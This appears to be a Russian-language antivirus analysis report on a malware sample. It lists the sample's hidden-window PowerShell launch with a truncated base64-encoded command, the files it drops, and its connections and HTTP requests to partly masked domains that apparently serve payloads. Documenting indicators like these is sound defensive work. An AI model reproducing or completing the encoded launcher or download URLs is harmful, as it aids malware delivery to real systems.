Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAE...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1492
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\1226479.cvr
- %HOMEPATH%\auqiff0\mogjnr5\mobwuo6.exe
Сетевая активность
Подключается к
- 'dv##s.me':80
- 'dv##s.me':443
- 'ez##a.fr':80
- 'fi####nes.com.sg':80
- 'fe#####service-stara.de':80
- 'fa#####nbande-ley.de':80
- 'ke##sch.de':80
TCP
Запросы HTTP GET
- http://dv##s.me/cgi-bin/s/
- http://ez##a.fr/Accessoires/IKh/
- http://fe#####service-stara.de/cgi-bin/x/
- http://fa#####nbande-ley.de/cgi-bin/tKX/
- http://ke##sch.de/adina/G/
Другие
- 'dv##s.me':443
UDP
- DNS ASK dv##s.me
- DNS ASK fa##egat.eu
- DNS ASK ez##a.fr
- DNS ASK fi####nes.com.sg
- DNS ASK fe#####service-stara.de
- DNS ASK iq######ehservice-stara.de
- DNS ASK fa#####nbande-ley.de
- DNS ASK ke##sch.de
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADQAMAB1AHcAYQBmAD0AKAAoACcASQByACcAKwAnADcAJwApACsAJwA3ACcAKwAoACcAcAAnACsAJwBzAHEAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAcwBlAHIAcAByAE8AZgBpAE... (со скрытым окном)
